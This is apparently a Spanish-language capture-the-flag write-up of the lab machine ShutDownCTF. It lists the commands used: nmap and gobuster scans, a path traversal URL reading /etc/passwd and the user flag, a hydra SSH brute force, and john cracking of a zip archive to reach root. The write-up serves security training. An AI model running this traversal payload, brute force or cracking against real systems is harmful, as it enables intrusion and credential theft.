WriteUps ShutDownCTF

01 Apr 2024
4 minutos

Progreso del WriteUp#

Reconocimiento inicial#

Se realizó un escaneo completo de puertos utilizando nmap:

BASH
1
nmap -p- --open -sC -sS -sV --min-rate=5000 -n -vvv -Pn 10.6.6.55 -oN shutdown

El resultado del escaneo mostró:

BASH
1
2
3
4
5
6
7
8
9
10
11
12
13
PORT     STATE SERVICE REASON         VERSION
23/tcp   open  telnet  syn-ack ttl 64 Linux telnetd
80/tcp   open  http    syn-ack ttl 64 Apache httpd 2.4.56 ((Debian))
| http-methods:
|_  Supported Methods: HEAD GET POST OPTIONS
|_http-server-header: Apache/2.4.56 (Debian)
|_http-title: DeliciousHack
6969/tcp open  ssh     syn-ack ttl 64 OpenSSH 8.4p1 Debian 5+deb11u3 (protocol 2.0)
| ssh-hostkey:
|   3072 25:62:b8:14:da:7d:e9:ea:48:4c:a9:31:08:cd:c5:78 (RSA)
|   256 b8:51:f8:62:de:16:09:d0:f9:a8:2c:c3:3b:09:a1:e3 (ECDSA)
|_ 256 f4:f5:6c:ac:81:ed:06:14:ea:07:de:56:ac:34:ca:be (ED25519)
MAC Address: 08:00:27:E2:EA:39 (Oracle VirtualBox virtual NIC)

Resultado: Se detectaron tres servicios importantes:

  • Puerto 23: Servicio Telnet
  • Puerto 80: Servicio HTTP con Apache
  • Puerto 6969: Servicio SSH con la versión OpenSSH 8.4p1.

Análisis de vulnerabilidad#

Al acceder a la dirección IP por el puerto 80, se observó una página titulada “DeliciousHack”. Después de revisar la web y ver la existencia de varios directorios y archivos descubiertos con gobuster, como /wp-admin y /blade, no se encontró nada particularmente útil para explotar en primera instancia.

Luego de revisar el encabezado del sitio web utilizando curl:

BASH
1
curl -I http://10.6.6.55/wp-admin

Encontré una pista que indicaba la presencia de un posible path traversal. Decidí probar diferentes rutas, lo que me permitió acceder al archivo /etc/passwd a través del siguiente comando:

BASH
1
http://10.6.6.55/wp-admin.php?shell=../../../../../../../../../../etc/passwd

Esto me permitió descubrir que existía el usuario administrator, cuya carpeta de usuario se encontraba en /home/administrator.

Explotación#

Flag de usuario: Luego de descubrir el usuario administrator, intenté acceder a su clave privada SSH en el directorio /home/administrator/.ssh/, pero no encontré nada útil. Sin embargo, logre obtener la flag de usuario accediendo directamente al archivo user.txt en /home/administrator mediante path traversal.

FlagUserBananamCTFFruits.png

Ataque de fuerza bruta: Como sabía que el servicio SSH estaba abierto en el puerto 6969, procedí a realizar un ataque de fuerza bruta con hydra para el usuario administrator:

BASH
1
hydra -l administrator -P /usr/share/wordlists/rockyou.txt ssh://10.6.6.55:6969

Resultado: Logré encontrar la contraseña correcta y conectarme por SSH como administrator.

Escalada de privilegios#

Una vez dentro del sistema como administrator, listé los archivos en el directorio /opt/recursos donde encontré un archivo comprimido llamado g-accesos.zip. Después de descargarlo en mi máquina y utilizar john the ripper para crackear la contraseña del archivo comprimido, obtuve acceso al archivo accesos, el cual contenía la contraseña de root.

Usando la contraseña obtenida, procedí a realizar su root para convertirme en superusuario y obtener la flag de root.

Resultado: Conseguí acceso como root y finalmente encontré la flag de root (root.txt).

pwnedCTFShutD.png

Aprendizaje#

La máquina ShutDownCTF fue un excelente ejercicio para aprender sobre vulnerabilidades de path traversal y la importancia de no ignorar los detalles en los encabezados HTTP. Además, esta máquina sirvió para practicar habilidades en fuerza bruta y escalada de privilegios mediante la explotación de archivos comprimidos con contraseña.

Comandos#

  1. Escaneo de puertos con Nmap:
    BASH
    1
    nmap -p- --open -sC -sS -sV --min-rate=5000 -n -vvv -Pn 10.6.6.55 -oN shutdown
    
  2. Escaneo de directorios con Gobuster:
    BASH
    1
    gobuster dir -u http://10.6.6.55/ -t 400 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
    
  3. Revisar encabezados HTTP con Curl:
    BASH
    1
    curl -I http://10.6.6.55/_wp-admin.php
    
  4. Path Traversal para acceder a /etc/passwd:
    BASH
    1
    http://10.6.6.55/_wp-admin.php?shell=../../../../../../../../../../etc/passwd
    
  5. Ataque de fuerza bruta con Hydra:
    BASH
    1
    hydra -l administrator -P /usr/share/wordlists/rockyou.txt ssh://10.6.6.55:6969
    
  6. Crackear contraseña de archivo comprimido con John The Ripper:
    BASH
    1
    2
    zip2john g-accesos.zip > hash
    john --wordlist=/usr/share/wordlists/rockyou.txt hash